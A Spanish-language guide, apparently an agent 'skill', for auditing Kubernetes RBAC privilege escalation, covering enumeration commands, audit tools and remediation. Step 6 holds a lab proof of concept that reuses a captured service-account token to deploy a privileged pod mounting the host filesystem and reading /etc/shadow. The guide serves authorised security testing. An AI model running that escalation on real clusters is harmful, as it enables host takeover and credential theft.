auditoría-rbac-escalada-privilegios-kubernetes

Auditoría de Escalada de Privilegios en RBAC de Kubernetes

Aviso legal: Esta habilidad es solo para pruebas de seguridad autorizadas y fines educativos. Enumerar y ejercitar permisos RBAC afecta la postura de acceso de un clúster en vivo. Solo pruebe clústeres que le pertenezcan o para los cuales tenga autorización explícita por escrito.

Resumen

El Control de Acceso Basado en Roles (RBAC, MITRE ATT&CK T1078 Valid Accounts) de Kubernetes determina qué puede hacer cada usuario y cuenta de servicio mediante reglas Role/ClusterRole unidas por RoleBinding/ClusterRoleBinding. Dado que las cargas de trabajo se ejecutan con un token de cuenta de servicio montado por defecto, un atacante que compromete un pod hereda los derechos RBAC de esa cuenta. Las vinculaciones demasiado permisivas convierten un solo pod comprometido en una toma de control del clúster: ciertos verbos y recursos son "equivalentes a cluster-admin" en RBAC.

Según la guía de "Buenas prácticas de RBAC" de Kubernetes y la investigación de Unit 42, las primitivas peligrosas son:

• escalate en roles — otorgarse a sí mismo cualquier permiso, incluso los que no se poseen.
• bind en clusterroles — crear una vinculación a cluster-admin.
• impersonate en usuarios/grupos/cuentas de servicio — actuar como cualquier sujeto, incluido system:masters.
• create/update/patch en pods — programar un pod privilegiado o montar el nodo, escapando al host (T1611).
• create en pods/exec, pods/attach, pods/ephemeralcontainers — ejecutar código en cualquier pod existente.
• get/list/watch en secrets — listar devuelve el contenido completo de los secretos, incluidos los tokens de otras cuentas de servicio.
• create en serviceaccounts/token — acuñar tokens para cuentas más privilegiadas.
• update/patch en validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — abuso de admisión/CSR para llegar a cluster-admin.
• Wildcards (verbs: ["*"], resources: ["*"]) — superprivilegio implícito.

Esta habilidad enumera sistemáticamente los permisos efectivos de cada sujeto, mapea qué sujetos poseen estas primitivas de escalada y produce evidencia de remediación. Fuente: Buenas prácticas de RBAC de Kubernetes; investigación de Unit 42 sobre RBAC de Kubernetes.

Cuándo usarla

• Durante una evaluación de seguridad autorizada de Kubernetes o una prueba de penetración en un clúster
• Después de comprometer un pod, para determinar qué puede alcanzar su token de cuenta de servicio
• Al revisar la deriva de RBAC antes de una puesta en producción
• Al validar el principio de mínimo privilegio después de una migración de plataforma o un despliegue de Helm

Requisitos previos

• kubectl configurado contra el clúster objetivo (sus propias credenciales o un token de cuenta de servicio capturado)
• Acceso de lectura a los objetos RBAC (la mayoría de las auditorías se ejecutan con un contexto cluster-reader o admin)
• Herramientas de auditoría:

  # rbac-police – encontrar rutas de escalada (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can – qué sujetos pueden realizar una acción (Aqua)
  kubectl krew install who-can
  
  # rakkess – matriz de acceso de recursos x verbos para el sujeto actual/otro
  kubectl krew install access-matrix
  
  # rbac-lookup – qué roles tiene un sujeto (FairwindsOps)
  kubectl krew install rbac-lookup
  

Objetivos

• Inventariar todos los objetos Role, ClusterRole, RoleBinding y ClusterRoleBinding
• Enumerar los permisos efectivos por sujeto usando kubectl auth can-i --as
• Identificar sujetos que poseen primitivas equivalentes a cluster-admin
• Rastrear pods que montan tokens hasta cuentas de servicio con privilegios excesivos
• Demostrar (en un laboratorio) una ruta de escalada de principio a fin
• Generar un informe de hallazgos priorizados con remediación de mínimo privilegio

Mapeo MITRE ATT&CK

ID de Técnica	Nombre	Táctica
T1078	Valid Accounts	Evasión de Defensa / Persistencia / Escalada de Privilegios
T1098	Account Manipulation	Persistencia
T1528	Steal Application Access Token	Acceso a Credenciales
T1613	Container and Resource Discovery	Descubrimiento
T1611	Escape to Host	Escalada de Privilegios

Flujo de trabajo

Paso 1: Inventariar objetos RBAC

# Todos los roles y vinculaciones, en todo el clúster
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Volcar RBAC completo para análisis sin conexión
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# ¿Quién está vinculado a cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Paso 2: Enumerar permisos efectivos por sujeto

kubectl auth can-i es la verificación autorizada porque evalúa el autorizador en vivo (RBAC + webhooks). Use --as para suplantar a un sujeto (requiere derechos de suplantación para la identidad de auditoría).

# Matriz de acceso completa para una cuenta de servicio
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Sondas de permisos peligrosos específicos
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# Matriz completa rakkess de verbos x recursos para un sujeto
kubectl access-matrix --as system:serviceaccount:dev:builder

Paso 3: Cazar las primitivas de escalada

# ¿Quién puede realizar cada acción peligrosa en todo el clúster?
kubectl who-can create pods
kubectl who-can '*' '*'                      # poseedores de modo dios wildcard
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # escalada tipo bind

# grep en el volcado sin procesar para verbos escalate/bind/impersonate y wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Paso 4: Ejecutar análisis automatizado de rutas de escalada con rbac-police

rbac-police evalúa políticas Rego sobre una instantánea del clúster para identificar principales que pueden escalar a cluster-admin y la ruta exacta.

# Ejecutar todas las comprobaciones de escalada integradas (necesita un kubeconfig con acceso de lectura)
./rbac-police eval ./lib/policies/

# Solo la política de escalada de privilegios, hallazgos graves como JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Recopilar una instantánea primero (análisis sin conexión / revisión en entorno aislado)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Paso 5: Rastrear pods hasta cuentas de servicio con privilegios excesivos

Un hallazgo solo importa si una carga de trabajo alcanzable monta ese token.

# Mapear cada pod a su cuenta de servicio
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Encontrar pods que montan tokens automáticamente (valor por defecto) vinculados a SA riesgosas
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: ¿qué tiene realmente esa cuenta de servicio?
kubectl rbac-lookup builder --kind serviceaccount

Paso 6: Demostrar una ruta de escalada (solo en laboratorio)

Ejemplo: una cuenta de servicio con create pods y acceso a un nodo puede programar un pod privilegiado que monte el sistema de archivos del host.

# Usando un token capturado, apuntar al servidor API directamente
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirmar el derecho peligroso
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Programar un pod privilegiado que monte el host (prueba la toma del nodo/host)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # /etc/shadow del host prueba la escalada

Paso 7: Informar y remediar

# Generar un resumen de violación de mínimo privilegio
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "HALLAZGO cluster-admin vinculado a: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Remediación: reemplazar wildcards con verbos/recursos explícitos; eliminar escalate/bind/impersonate a menos que sean necesarios; establecer automountServiceAccountToken: false en cargas de trabajo que no llamen a la API; preferir Role (con ámbito de espacio de nombres) sobre ClusterRole cuando sea posible; usar aggregationRule con cuidado.

Herramientas y recursos

Herramienta	Propósito	Fuente
kubectl auth can-i	Verificación autorizada de permisos en vivo (--list, --as)	https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police	Análisis de rutas de escalada basado en Rego	https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can	Búsqueda inversa: quién puede hacer X	https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)	Matriz de verbos x recursos por sujeto	https://github.com/corneliusweig/rakkess
rbac-lookup	Roles que posee un sujeto	https://github.com/FairwindsOps/rbac-lookup
Buenas prácticas de RBAC de Kubernetes	Lista autorizada de primitivas de escalada	https://kubernetes.io/docs/concepts/security/rbac-good-practices/

Referencia de primitivas RBAC peligrosas

Verbo / Recurso	Por qué es equivalente a cluster-admin
escalate en roles	Otorgarse a sí mismo cualquier permiso
bind en clusterroles	Vincularse a cluster-admin
impersonate usuarios/grupos	Actuar como system:masters
create pods (+ acceso a nodo)	Pod privilegiado/hostPath -> toma del host
create pods/exec,pods/attach	Ejecutar código en pods existentes
get/list secrets	Leer todos los tokens y credenciales
create serviceaccounts/token	Acuñar tokens privilegiados
*/* (wildcards)	Superprivilegio implícito

Criterios de validación

• Todos los objetos Role/ClusterRole/Binding inventariados y volcados
• Lista de sujetos cluster-admin enumerada
• Permisos efectivos enumerados por cuenta de servicio mediante auth can-i --list
• Todos los poseedores de primitivas peligrosas identificados (escalate/bind/impersonate/secrets/pods)
• Rutas de escalada de rbac-police revisadas
• Pods que montan tokens mapeados a cuentas de servicio riesgosas
• Al menos una ruta de escalada demostrada en un laboratorio
• Informe de hallazgos con remediación de mínimo privilegio generado
• Todas las pruebas permanecieron dentro del alcance autorizado